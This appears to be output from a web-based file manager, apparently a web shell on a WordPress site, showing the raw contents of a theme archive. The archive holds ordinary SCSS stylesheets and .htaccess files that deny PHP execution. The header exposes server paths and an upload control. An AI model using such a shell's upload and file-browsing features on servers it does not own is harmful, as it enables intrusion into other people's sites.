Your IP : 216.73.216.162


Current Path : /home/x/b/o/xbodynamge/namtation/wp-content/
Upload File :
Current File : /home/x/b/o/xbodynamge/namtation/wp-content/site.tar

secondary/.htaccess000066600000000424151130470100010325 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>secondary/_widgets.scss000066600000002220151130470100011225 0ustar00.widget {
	margin: 0 0 #{$size__spacing-unit};

	/* Make sure select elements fit in widgets. */
	select {
		max-width: 100%;
	}

	a {
		color: $color__link;

		&:hover {
			color: $color__link-hover;
		}
	}
}

.widget_archive,
.widget_categories,
.widget_meta,
.widget_nav_menu,
.widget_pages,
.widget_recent_comments,
.widget_recent_entries,
.widget_rss {

	ul {
		padding: 0;
		list-style: none;

		li {
			color: $color__text-light;
			@include font-family( $font__heading );
			font-size: calc(#{$font__size_base} * #{$font__size-ratio});
			font-weight: 700;
			line-height: $font__line-height-heading;
			margin-top: #{0.5 * $size__spacing-unit};
			margin-bottom: #{0.5 * $size__spacing-unit};
		}

		@include nestedSubMenuPadding();
	}
}

.widget_tag_cloud {

	.tagcloud {
		@include font-family( $font__heading );
		font-weight: 700;
	}
}


.widget_search {

	.search-field {
		width: 100%;

		@include media(mobile) {
			width: auto;
		}
	}

	.search-submit {
		display: block;
		margin-top: $size__spacing-unit;
	}
}

.widget_calendar .calendar_wrap {
	text-align: center;

	table td,
	table th {
		border: none;
	}

	a {
		text-decoration: underline;
	}
}.htaccess000066600000000424151130470100006336 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>primary/_posts-and-pages.scss000066600000011510151130470100012262 0ustar00.sticky {
	display: block;
}

.sticky-post {
	background: $color__background-button;
	color: #fff;
	display: inline-block;
	font-weight: bold;
	line-height: 1;
	padding: .25rem;
	position: absolute;
	text-transform: uppercase;
	top: -$size__spacing-unit;
	z-index: 1;
}

.updated:not(.published) {
	display: none;
}

.page-links {
	clear: both;
	margin: 0 0 calc(1.5 * #{$size__spacing-unit});
}

.entry {

	margin-top: calc(6 * #{$size__spacing-unit});

	&:first-of-type {
		margin-top: 0;
	}

	.entry-header {

		margin: calc(3 * #{ $size__spacing-unit}) $size__spacing-unit $size__spacing-unit;
		position: relative;

		@include media(tablet) {
			margin: calc(3 * #{ $size__spacing-unit}) $size__site-margins $size__spacing-unit;
		}
	}

	.entry-title {

		@include post-section-dash;
		margin: 0;

		a {
			color: inherit;

			&:hover {
				color: $color__text-hover;
			}
		}
	}

	.entry-meta,
	.entry-footer {

		color: $color__text-light;
		font-weight: 500;

		> span {

			margin-right: $size__spacing-unit;
			display: inline-block;

			&:last-child {
				margin-right: 0;
			}
		}

		a {

			@include link-transition;
			color: currentColor;

			&:hover {
				text-decoration: none;
				color: $color__link;
			}
		}

		.svg-icon {
			position: relative;
			display: inline-block;
			vertical-align: middle;
			margin-right: 0.5em;
		}
	}

	.entry-meta {
		margin: $size__spacing-unit 0;
	}

	.entry-footer {

		margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit $size__spacing-unit;

		@include media(tablet) {
			margin: $size__spacing-unit $size__site-margins calc(3 * #{$size__spacing-unit});
			max-width: $size__site-tablet-content;
		}

		@include media(tablet) {
			max-width: $size__site-desktop-content;
		}
	}

	.post-thumbnail {

		margin: $size__spacing-unit;

		@include media(tablet) {
			margin: $size__spacing-unit $size__site-margins;
		}

		&:focus {
			outline: none;
		}

		.post-thumbnail-inner {
			display: block;

			img {
				position: relative;
				display: block;
				width: 100%;
			}
		}
	}

	.image-filters-enabled & {

		.post-thumbnail {
			position: relative;
			display: block;

			.post-thumbnail-inner {
				filter: grayscale(100%);

				&:after {
					background: rgba(0, 0, 0, 0.35);
					content: "";
					display: block;
					height: 100%;
					opacity: .5;
					pointer-events: none;
					position: absolute;
					top: 0;
					width: 100%;
					z-index: 4;

					@supports (mix-blend-mode: multiply) {
						display: none;
					}
				}
			}

			&:before,
			&:after, {
				position: absolute;
				display: block;
				width: 100%;
				height: 100%;
				top: 0; left: 0;
				content: "\020";
				pointer-events: none;
			}

			@include filter-duotone;

		}
	}

	.entry-content,
	.entry-summary {
		max-width: calc(100% - (2 * #{ $size__spacing-unit }));
		margin: 0 $size__spacing-unit;

		@include media(tablet) {
			max-width: 80%;
			margin: 0 10%;
			padding: 0 60px;
		}
	}

	.entry-content {

		p {
			word-wrap: break-word;
		}

		.more-link {
			@include link-transition;
			display: inline;
			color: inherit;

			&:after {
				content: "\02192";
				display: inline-block;
				margin-left: 0.5em;
			}

			&:hover {
				color: $color__link;
				text-decoration: none;
			}
		}

		a {
			text-decoration: underline;

			&.button,
			&:hover {
				text-decoration: none;
			}

			&.button {
				display: inline-block;
			}

			&.button:hover {
				background: $color__background-button-hover;
				color: $color__background-body;
				cursor: pointer;
			}
		}

		// Overwrite iframe embeds that have inline styles.
		> iframe[style] {

			margin: 32px 0 !important;
			max-width: 100% !important;

			@include media(tablet) {
				max-width: $size__site-tablet-content !important;
			}

			@include media(desktop) {
				max-width: $size__site-desktop-content !important;
			}
		}

		// Page links
		.page-links a {
			margin: calc(0.5 * #{$size__spacing-unit});
			text-decoration: none;
		}

		// Classic editor audio embeds.
		.wp-audio-shortcode {
			max-width: calc(100vw - (2 * #{ $size__spacing-unit }));

			@include media(tablet) {
				max-width: $size__site-tablet-content;
			}

			@include media(desktop) {
				max-width: $size__site-desktop-content;
			}
		}
	}
}

/* Author description */

.author-bio {
	margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit $size__spacing-unit;

	@include postContentMaxWidth();

	@include media(tablet) {
		margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
	}

	@include media(desktop) {
		margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
	}

	.author-title {
		@include post-section-dash;
		display: inline;
	}

	.author-description {

		display: inline;
		color: $color__text-light;
		font-size: $font__size-md;
		line-height: $font__line-height-heading;

		.author-link {
			display: inline-block;

			&:hover {
				color: $color__link-hover;
				text-decoration: none;
			}
		}
	}
}
primary/.htaccess000066600000000424151130470100010021 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>primary/_comments.scss000066600000014361151130470100011111 0ustar00.comment-content a {
	word-wrap: break-word;
}

.bypostauthor {
	display: block;
}

.comments-area {
	-webkit-hyphens: auto;
	-moz-hyphens: auto;
	-ms-hyphens: auto;
	hyphens: auto;
	margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit;
	word-wrap: break-word;
	@include postContentMaxWidth();

	@include media(tablet) {
		margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
	}

	& > * {
		margin-top: calc(2 * #{$size__spacing-unit});
		margin-bottom: calc(2 * #{$size__spacing-unit});

		@include media(tablet) {
			margin-top: calc(3 * #{$size__spacing-unit});
			margin-bottom: calc(3 * #{$size__spacing-unit});
		}
	}

	/* Add extra margin when the comments section is located immediately after the
	 * post itself (this happens on pages).
	 */
	.entry + & {
		margin-top: calc(3 * #{$size__spacing-unit});
	}

	.comments-title-wrap {

		@include media(tablet) {
			align-items: baseline;
			display: flex;
			justify-content: space-between;
		}

		.comments-title {
			@include post-section-dash;
			margin: 0;

			@include media(tablet) {
				flex: 1 0 calc(3 * (100vw / 12));
			}
		}

		.discussion-meta {
			@include media(tablet) {
				flex: 0 0 calc(2 * (100vw / 12));
				margin-left: #{$size__spacing-unit};
			}
		}
	}
}

#comment {
	max-width: 100%;
	box-sizing: border-box;
}

#respond {
	position: relative;

	.comment-user-avatar {
		margin: $size__spacing-unit 0 -#{$size__spacing-unit};
	}

	.comment .comment-form {
		padding-left: 0;
	}

	> small {
		display: block;
		font-size: $font__size_base;
		position: absolute;
		left: calc(#{$size__spacing-unit} + 100%);
		top: calc(-3.5 * #{$size__spacing-unit});
		width: calc(100vw / 12 );
	}
}

#comments {

	> .comments-title:last-child {
		display: none;
	}
}

.comment-form-flex {
	display: flex;
	flex-direction: column;

	.comments-title {
		display: none;
		margin: 0;
		order: 1;
	}

	#respond {
		order: 2;

		+ .comments-title {
			display: block;
		}
	}
}

.comment-list {
	list-style: none;
	padding: 0;

	.children {
		margin: 0;
		padding: 0 0 0 $size__spacing-unit;
	}

	> .comment:first-child {
		margin-top: 0;
	}

	.pingback,
	.trackback {

		.comment-body {
			color: $color__text-light;
			@include font-family( $font__heading );
			font-size: $font__size-xs;
			font-weight: 500;
			margin-top: $size__spacing-unit;
			margin-bottom: $size__spacing-unit;

			a:not(.comment-edit-link) {
				font-weight: bold;
				font-size: $font__size-base / (1 * $font__size-ratio);
				line-height: 1.5;
				padding-right: #{0.5 * $size__spacing-unit};
				display: block;
			}

			.comment-edit-link {
				color: $color__text-light;
				@include font-family( $font__heading );
				font-weight: 500;
			}
		}
	}
}

.comment-reply {

	#respond + & {
		display: none;
	}

	.comment-reply-link {
		display: inline-block;
	}
}

.comment {
	list-style: none;
	position: relative;

	@include media(tablet) {
		padding-left: calc(.5 * (#{$size__spacing-unit} + calc(100vw / 12 )));

		&.depth-1,
		.children {
			padding-left: 0;
		}

		&.depth-1 {
			margin-left: calc(3.25 * #{$size__spacing-unit});
		}
	}

	.comment-body {
		margin: calc(2 * #{$size__spacing-unit}) 0 0;
	}


	.comment-meta {
		position: relative;
	}

	.comment-author {

		.avatar {
			float: left;
			margin-right: $size__spacing-unit;
			position: relative;

			@include media(tablet) {
				float: inherit;
				margin-right: inherit;
				position: absolute;
				top: 0;
				right: calc(100% + #{$size__spacing-unit});
			}
		}

		.fn {
			position: relative;
			display: block;

			a {
				color: inherit;

				&:hover {
					color: $color__link-hover;
				}
			}
		}

		.post-author-badge {
			border-radius: 100%;
			display: block;
			height: 18px;
			position: absolute;
			background: lighten( $color__link, 8% );
			right: calc(100% - #{$size__spacing-unit * 2.5});
			top: -3px;
			width: 18px;

			@include media(tablet) {
				right: calc(100% + #{$size__spacing-unit * .75});
			}

			svg {
				width: inherit;
				height: inherit;
				display: block;
				fill: white;
				transform: scale(0.875);
			}
		}
	}

	.comment-metadata {

		> a,
		.comment-edit-link {
			display: inline;
			font-weight: 500;
			color: $color__text-light;
			vertical-align: baseline;

			time {
				vertical-align: baseline;
			}

			&:hover {
				color: $color__link-hover;
				text-decoration: none;
			}
		}

		> * {
			display: inline-block;
		}

		.edit-link-sep {
			color: $color__text-light;
			margin: 0 0.2em;
			vertical-align: baseline;
		}

		.edit-link {
			color: $color__text-light;

			svg {
				transform: scale(0.8);
				vertical-align: baseline;
				margin-right: 0.1em;
			}
		}

		.comment-edit-link {
			position: relative;
			padding-left: $size__spacing-unit;
			margin-left: -#{$size__spacing-unit};
			z-index: 1;

			&:hover {
				color: $color__link;
			}
		}
	}

	.comment-content {

		margin: $size__spacing-unit 0;

		@include media(desktop) {
			padding-right: $size__spacing-unit;
		}

		> *:first-child {
			margin-top: 0;
		}

		> *:last-child {
			margin-bottom: 0;
		}

		blockquote {
			margin-left: 0;
		}

		a {
			text-decoration: underline;

			&:hover {
				text-decoration: none;
			}
		}
	}
}

.comment-reply-link,
#cancel-comment-reply-link {
	font-weight: 500;

	&:hover {
		color: $color__link-hover;
	}
}

.discussion-avatar-list {
	@include clearfix;

	margin: 0;
	padding: 0;

	li {
		position: relative;
		list-style: none;
		margin: 0 -8px 0 0;
		padding: 0;
		float: left;
	}

	.comment-user-avatar {

		img {
			height: calc(1.5 * #{$size__spacing-unit});
			width: calc(1.5 * #{$size__spacing-unit});
		}
	}
}

.discussion-meta {

	.discussion-meta-info {
		margin: 0;

		.svg-icon {
			vertical-align: middle;
			fill: currentColor;
			transform: scale( 0.6 ) scaleX(-1) translateY(-0.1em);
			margin-left: -#{.25 * $size__spacing-unit}; // Align icon with avatars above.
		}
	}

}

.comment-form {

	.comment-notes,
	label {
		@include font-family( $font__heading );
		font-size: $font__size-xs;
		color: $color__text-light;
	}

	.comment-form-author,
	.comment-form-email {
		@include media(tablet) {
			width: calc(50% - #{$size__spacing-unit / 2});
			float: left;
		}
	}

	.comment-form-email {
		@include media(tablet) {
			margin-left: $size__spacing-unit;
		}
	}

	input[name="author"],
	input[name="email"],
	input[name="url"] {
		display: block;
		width: 100%;
	}
}
primary/_archives.scss000066600000002306151130470100011064 0ustar00.archive .page-header,
.search .page-header,
.error404 .page-header {

	margin: $size__spacing-unit $size__spacing-unit calc(3 * #{$size__spacing-unit});

	@include media(tablet) {
		margin: 0 $size__site-margins $size__site-margins;
	}

	.page-title {

		color: $color__text-light;
		display: inline;
		letter-spacing: normal;

		&:before {
			display: none;
		}
	}

	.search-term,
	.page-description {
		display: inherit;
		clear: both;

		&:after {
			content: ".";
			font-weight: bold;
			color: $color__text-light;
		}
	}
}

.archive .page-header .page-description {
	display: block;
	color: $color__text-main;
	font-size: 1em;
}

.hfeed .entry .entry-header {

	@include media(tablet) {
		margin: calc(3 * #{$size__spacing-unit}) $size__site-margins calc(#{ $size__spacing-unit } / 2);
	}
}

/* 404 & Not found */

.error-404.not-found,
.no-results.not-found {

	.page-title,
	.page-content {

		margin: calc(3 * #{$size__spacing-unit}) #{$size__spacing-unit};

		@include media(tablet) {
			margin: calc(3 * #{$size__spacing-unit}) $size__site-margins calc(#{ $size__spacing-unit } / 2);
		}
	}

	.search-submit {
		vertical-align: middle;
		margin: $size__spacing-unit 0;
	}

	.search-field {
		width: 100%;
	}
}
footer/.htaccess000066600000000424151130470100007634 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>footer/_site-footer.scss000066600000001614151130470100011334 0ustar00/* Site footer */

#colophon {

	.widget-area,
	.site-info {
		margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit;

		@include media(tablet) {
			margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
		}
	}

	.widget-column {
		display: flex;
		flex-wrap: wrap;
		.widget {
			-webkit-hyphens: auto;
			-moz-hyphens: auto;
			-ms-hyphens: auto;
			hyphens: auto;
			width: 100%;
			word-wrap: break-word;
			@include media(desktop) {
				margin-right: calc(3 * #{$size__spacing-unit});
				width: calc(50% - (3 * #{$size__spacing-unit}));
			}
		}
	}

	.site-info {
		color: $color__text-light;
		-webkit-hyphens: auto;
		-moz-hyphens: auto;
		-ms-hyphens: auto;
		hyphens: auto;
		word-wrap: break-word;

		a {
			color: inherit;

			&:hover {
				text-decoration: none;
				color: $color__link;
			}
		}

		.imprint,
		.privacy-policy-link {
			margin-right: $size__spacing-unit;
		}
	}
}header/.htaccess000066600000000424151130470100007566 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>header/_site-featured-image.scss000066600000013623151130470100012652 0ustar00// Featured image styles

.site-header.featured-image {

	/* Hide overflow for overflowing featured image */
	overflow: hidden;

	/* Need relative positioning to properly align layers. */
	position: relative;

	/* Add text shadow to text, to increase readability. */
	text-shadow: 0 1px 2px rgba(0, 0, 0, 0.35);

	/* Set white text color when featured image is set. */
	.site-branding .site-title,
	.site-branding .site-description,
	.main-navigation a:after,
	.main-navigation .main-menu > li.menu-item-has-children:after,
	.main-navigation li,
	.social-navigation li,
	.entry-meta,
	.entry-title {
		color: $color__background-body;
	}

	.main-navigation a,
	.main-navigation a + svg,
	.social-navigation a,
	.site-title a,
	.site-featured-image a {
		color: $color__background-body;
		transition: opacity $link_transition ease-in-out;

		&:hover,
		&:active,
		&:hover + svg,
		&:active + svg {
			color: $color__background-body;
			opacity: 0.6;
		}

		&:focus,
		&:focus + svg {
			color: $color__background-body;
		}
	}

	.main-navigation .sub-menu a {
		opacity: inherit;
	}

	/* add focus state to social media icons */
	.social-navigation a {
		&:focus {
			color: $color__background-body;
			opacity: 1;
			border-bottom: 1px solid $color__background-body;
		}
	}

	.social-navigation svg,
	.site-featured-image svg {
		/* Use -webkit- only if supporting: Chrome < 54, iOS < 9.3, Android < 4.4.4 */
		-webkit-filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.35) );
				filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.35) );
	}

	/* Entry header */
	.site-featured-image {

		/* First layer: grayscale. */
		.post-thumbnail img {
			height: auto;
			left: 50%;
			max-width: 1000%;
			min-height: 100%;
			min-width: 100vw;
			position: absolute;
			top: 50%;
			transform: translateX(-50%) translateY(-50%);
			width: auto;
			z-index: 1;

			@supports ( object-fit: cover ) {
				height: 100%;
				left: 0;
				object-fit: cover;
				top: 0;
				transform: none;
				width: 100%;
			}

			/* When image filters are active, make it grayscale to colorize it blue. */
			.image-filters-enabled & {
				filter: grayscale(100%);
			}
		}

		.entry-header {

			margin-top: calc( 4 * #{$size__spacing-unit});
			margin-bottom: 0;
			margin-left: 0;
			margin-right: 0;

			@include media (tablet) {

				margin-left: $size__site-margins;
				margin-right: $size__site-margins;
			}

			.entry-title {

				&:before {
					background: $color__background-body;
				}
			}

			/* Entry meta */

			.entry-meta {

				font-weight: 500;

				> span {

					margin-right: $size__spacing-unit;
					display: inline-block;

					&:last-child {
						margin-right: 0;
					}
				}

				a {

					@include link-transition;
					color: currentColor;

					&:hover {
						text-decoration: none;
					}
				}

				.svg-icon {
					position: relative;
					display: inline-block;
					vertical-align: middle;
					margin-right: 0.5em;
				}

				.discussion-avatar-list {
					display: none;
				}
			}

			&.has-discussion {

				@include media (tablet) {

					.entry-meta {
						display: flex;
						position: relative;
					}

					.entry-title {
						padding-right: calc(1 * (100vw / 12) + #{$size__spacing-unit});
					}

					.entry-meta .comment-count {
						position: absolute;
						right: 0;
					}

					.entry-meta .discussion-avatar-list {
						display: block;
						position: absolute;
						bottom: 100%;
					}
				}
			}
		}
	}

	/* Custom Logo Link */

	.custom-logo-link {

		background: $color__background-body;
		box-shadow: 0 0 0 0 rgba($color__background-body, 0);

		&:hover,
		&:active,
		&:focus {
			box-shadow: 0 0 0 2px rgba($color__background-body, 1);
		}
	}

	/* Make sure important elements are above pseudo elements used for effects. */
	.site-branding {
		position: relative;
		z-index: 10;
	}

	.site-featured-image .entry-header {
		position: relative;
		z-index: 9;
	}

	/* Set up image filter layer positioning */
	.site-branding-container:after,
	.site-featured-image:before,
	.site-featured-image:after,
	&:after {
		display: block;
		position: absolute;
		top: 0; left: 0;
		content: "\020";
		width: 100%;
		height: 100%;
	}

	/* Background & Effects */
	/* Shared background settings between pseudo elements. */
	background-position: center;
	background-repeat: no-repeat;
	background-size: cover;

	/* The intensity of each blend mode is controlled via layer opacity. */

	/* Second layer: screen. */
	.image-filters-enabled & .site-featured-image:before {
		background: $color__link;
		mix-blend-mode: screen;
		opacity: 0.1;
	}

	/* Third layer: multiply. */
	/* When image filters are inactive, a black overlay is added. */
	.site-featured-image:after {
		background: #000;
		mix-blend-mode: multiply;
		opacity: .7;

		/* When image filters are active, a blue overlay is added. */
		.image-filters-enabled & {
			background: $color__link;
			opacity: .8;
			z-index: 3;

			/* Browsers supporting mix-blend-mode don't need opacity < 1 */
			@supports (mix-blend-mode: multiply) {
				opacity: 1;
			}
		}
	}

	/* Fourth layer: overlay. */
	.image-filters-enabled & .site-branding-container:after {
		background: rgba(0, 0, 0, 0.35);
		mix-blend-mode: overlay;
		opacity: 0.5;
		z-index: 4;

		/* Browsers supporting mix-blend-mode can have a light overlay */
		@supports (mix-blend-mode: overlay) {
			background: rgba($color__background-body, 0.35);
		}
	}

	/* Fifth layer: readability overlay */
	&:after {
		background: #000;
		/**
		 * Add a transition to the readability overlay, to add a subtle
		 * but smooth effect when resizing the screen.
		 */
		transition: opacity 1200ms ease-in-out;
		opacity: 0.7;
		z-index: 5;

		/* When image filters are active, a blue overlay is added. */
		.image-filters-enabled & {
			background: mix($color__link, black, 12%);
			opacity: 0.38;

			@include media(tablet) {
				opacity: 0.18;
			}
		}
	}


	::-moz-selection {
		background: rgba($color__background-body, 0.17);
	}

	::selection {
		background: rgba($color__background-body, 0.17);
	}
}
header/_site-header.scss000066600000004055151130470100011222 0ustar00// Site header

.site-header {
	padding: 1em;

	&.featured-image {
		display: flex;
		flex-direction: column;
		justify-content: space-between;
		min-height: 90vh;

		.site-branding-container {
			margin-bottom: auto;
		}
	}

	@include media(tablet) {
		margin: 0;
		padding: 3rem 0;

		&.featured-image {
			min-height: 100vh;
			margin-bottom: 3rem;
		}
	}
}

// Site branding

.site-branding {

	color: $color__text-light;
	-webkit-hyphens: auto;
	-moz-hyphens: auto;
	-ms-hyphens: auto;
	hyphens: auto;
	position: relative;
	word-wrap: break-word;

	@include media(tablet) {
		margin: 0 $size__site-margins;
	}
}

// Site logo

.site-logo {

	position: relative;
	z-index: 999;
	margin-bottom: calc(.66 * #{$size__spacing-unit});

	@include media(tablet) {
		margin-bottom: 0;
		position: absolute;
		right: calc(100% + (1.25 * #{$size__spacing-unit}));
		top: 4px; // Accounts for box-shadow widths
		z-index: 999;
	}

	.custom-logo-link {
		border-radius: 100%;
		box-sizing: content-box;
		box-shadow: 0 0 0 0 rgba(0, 0, 0, 0);
		display: block;
		width: 50px;
		height: 50px;
		overflow: hidden;
		transition: box-shadow $background_transition ease-in-out;

		.custom-logo {
			min-height: inherit;
		}

		&:hover,
		&:active,
		&:focus {
			box-shadow: 0 0 0 2px rgba(0, 0, 0, 1);
		}

		@include media(tablet) {
			width: 64px;
			height: 64px;
		}
	}
}

// Site title

.site-title {
	margin: auto;
	display: inline;
	color: $color__text-main;

	a {
		color: $color__text-main;

		&:link,
		&:visited {
			color: $color__text-main;
		}

		&:hover {
			color: $color__text-hover;
		}
	}

	.featured-image & {
		margin: 0;

		@include media(tablet) {
			display: inline-block;
		}
	}

	/* When there is no description set, make sure navigation appears below title. */
	+ .main-navigation {
		display: block;
	}

	@include media(tablet) {
		display: inline;
	}

	&:not(:empty) + .site-description:not(:empty):before {
		content: "\2014";
		margin: 0 .2em;
	}
}

// Site description

.site-description {

	display: inline;
	color: $color__text-light;
	font-weight: normal;
	margin: 0;
}
_site.scss000066600000001614151130470100006542 0ustar00
/*--------------------------------------------------------------
## Header
--------------------------------------------------------------*/
@import "header/site-header";
@import "header/site-featured-image";

/*--------------------------------------------------------------
## Posts and pages
--------------------------------------------------------------*/
@import "primary/posts-and-pages";

/*--------------------------------------------------------------
## Comments
--------------------------------------------------------------*/
@import "primary/comments";

/*--------------------------------------------------------------
## Archives
--------------------------------------------------------------*/
@import "primary/archives";

/*--------------------------------------------------------------
## Footer
--------------------------------------------------------------*/
@import "footer/site-footer";

widgets/_widgets.scss000066600000015713151143724570010740 0ustar00/* Widget Common */
.widget-title {
    font-size: 16px;
    text-transform: uppercase;
    font-weight: 500;
    color: currentColor;
    margin-bottom: 20px;
}

.widget-area {
    .widget {
        margin-bottom: 2em;
        @include for_device( desktop ) {
            &:last-of-type {
                margin-bottom: 0;
            }
        }
        ul {
            list-style: none;
            padding: 0px;
            margin: 0px;
            &:after {
                clear: both;
                content: ".";
                display: block;
                height: 0;
                visibility: hidden;
            }
            li {
                margin: 0px 0px 0.6em;
                // cat item
                &.cat-item, &.woocommerce-widget-layered-nav-list__item {
                    position: relative;
                    .count {
                        right: 0;
                        background: #eaecee;
                        color: #999999;
                        padding: 0px 0.5em;
                        border-radius: 0.9em;
                        font-size: 12px;
                        position: absolute;
                        top: 4px;
                    }
                    &:after {
                        @include clearfix();
                    }
                }
            }
        }
        //a:not(.wc-forward) {
        //    color: $color_meta;
        //    &:hover {
        //        color: $color_link_hover;
        //    }
        //}
        a.button {
            &:hover {
                text-decoration: none;
            }
        }
        select {
            max-width: 100%;
        }
        table {
            font-size: 85%;
            th, td {
                padding: ms(-6);
                text-align: center;
            }
            tfoot td{
                text-align: left;
            }
        }
        *:last-child {
            margin-bottom: 0px;
        }
        .sidebar-search-form {
            display: flex;
            width: 100%;
            max-width: 100%;
            label {
                width: 100%;
            }
            .search-field {
                width: 100%;
                display: block;
            }
            .search-submit {
                padding: 9px 14px;
                margin-left: -46px;
                overflow: hidden;
                box-shadow: none;
                background: transparent;
                color: #aaaaaa;
                line-height: 0px;
                &:hover {
                    svg #svg-search {
                        fill: #444444;
                    }
                }
                svg {
                    width: 18px;
                    height: 18px;
                }

            }
        }
    }
    .widget_categories, .widget_nav_menu, .widget_pages, .widget_product_categories {
        ul ul {
            margin-top: ms(-4);
            margin-left: 0;
            margin-bottom: -(ms(-4));
        }
        .menu-item-has-children {
            > a {
                margin-bottom: 0px;
            }
        }
    }

    .widget_pages li,
    .widget_categories li,
    .widget_archive li,
    .widget_meta li,
    .widget_nav_menu li,
    .widget_product_categories li,
    .widget_recent_entries li,
    .widget_rss li {
        display: block;
        position: relative;
        &:last-child {
            border: none;
        }
        a {
            display: block;
            width: 100%;
            padding-bottom: 0.6em;
            margin-bottom: 0.6em;
            border-bottom: 1px solid $color_border;
            position: relative;
        }
        ul {
            li::before {
                left: 15px;
            }
            a {
                padding-left: 20px;
            }
            ul {
                li::before {
                    left: 30px;
                }
                a {
                    padding-left: 40px;
                }
            }
        }
    }

    .widget_recent_comments {
        li {
            padding-bottom: 0.6em;
            border-bottom: 1px solid $color_border;
            position: relative;
        }
    }

    .widget_rss ul li {
        margin-bottom: ms(1);
        .rsswidget {
            font-weight: 400;
            font-size: 1.2em;
            line-height: 1.28;
        }
        .rss-date {
            display: block;
            margin: ms(-3) 0px;
            font-size: 85%;
        }
    }

}

.dark-mode {
    .widget_pages li,
    .widget_categories li,
    .widget_archive li,
    .widget_meta li,
    .widget_nav_menu li,
    .widget_product_categories li,
    .widget_recent_entries li,
    .widget_rss li {
        a {
            border-color: $light_color_border;
        }
    }

    .widget_recent_comments li {
        border-color: $light_color_border;
    }


    .widget ul li.cat-item .count,
    .widget ul li.woocommerce-widget-layered-nav-list__item .count {
        background: black(0.2);
    }

    .widget-area .widget select {
        border-color: $light_color_border;
    }
}


.site-content .widget-area {
    .menu {
        li {
            margin: 0px;
            a {
                display: block;
                padding: 0.6em 0px 0.6em;
                //border-bottom: 1px solid $color_border;
            }
            ul {
                margin: 0px;
                li {
                    a {
                        padding-left: 15px;
                    }
                    li {
                        a {
                            padding-left: 30px;
                        }
                    }
                }
            }
            &.current-menu-item {
                > a {
                    position: relative;
                    border: 1px solid $color_border;
                    border-left: none;
                    border-right: none;
                    font-size: 110%;
                    &:before {
                        border-bottom: 6px solid transparent;
                        border-left: 6px solid $color_border;
                        border-top: 6px solid transparent;
                        content: "";
                        display: inline-block;
                        position: absolute;
                        right: 5px;
                        top: 13px;
                    }
                    &:after {
                        border-bottom: 6px solid transparent;
                        border-left: 6px solid #fff;
                        border-top: 6px solid transparent;
                        content: "";
                        display: inline-block;
                        position: absolute;
                        right: 6px;
                        top: 13px;
                    }
                }
            }
        }
    }
}

/* Tagcloud widget */
.tagcloud {
    a {
        border: 1px solid currentColor;
        border-radius: 2px;
        display: inline-block;
        font-size: 0.875em !important;
        margin-bottom: 5px;
        padding: 1px 10px 1px;
    }
}
footer/_footer-common.scss000066600000006026151143724570011703 0ustar00/* Site Footer */
.site-footer {
    position: relative;
    z-index: 10;
    .item--inner {
        width: 100%;
        max-width: 100%;
    }
}

// Footer Top
.footer-top {
    .footer--row-inner {
        padding-top: 2em;
        padding-bottom: 2em;
    }
    .light-mode {
        background: #f0f0f0;
    }
    .dark-mode {
        background: #292929;
    }
}

// Footer Main
.footer-main {
    .footer--row-inner {
        padding-top: 2.5em;
        padding-bottom: 2.5em;
    }

    .light-mode {
        background: #f9f9f9;
    }
    .dark-mode {
        background: #303030;
    }
}

// Footer Bottom
.footer-bottom {
    .footer--row-inner {
        padding-top: 1.5em;
        padding-bottom: 1.5em;
    }
    .builder-item {
        @include for_device( mobile ) {
            margin-bottom: 1em;
            &:last-child {
                margin-bottom: 0;
            }
        }
    }
    .light-mode {
        background: #ededed;
    }
    .dark-mode {
        background: #1a1a1a;
    }
}

// General footer skin mode colors.
.footer--row-inner {
    &.light-mode {
        color: $dark_color;
        //a:not(.button) {
        //    color: $dark_color_link;
        //    &:hover {
        //        color: $dark_color_link_hover;
        //    }
        //}
        .product_list_widget li {
            border-color: $dark_color_border;
        }
    }
    &.dark-mode {
        color: $light_color;
        a:not(.button) {
            color: $light_color_link;
            &:hover {
                color: $light_color_link_hover;
            }
        }
        .product_list_widget li {
            border-color: $light_color_border;
        }
        table tbody td,
        table th {
            background: $dark_color_border;
        }
    }

}

.footer--row {
    &.layout-fullwidth {
        .customify-container {
            max-width: initial;
        }
    }
    .builder-item--group {
        justify-content: flex-start;
        .item--inner {
            width: auto;
            @include for_device( tablet ) {
                display: block;
                margin-bottom: 2em;
                &:last-child {
                    margin-bottom: 0px;
                }
            }
        }
    }
}

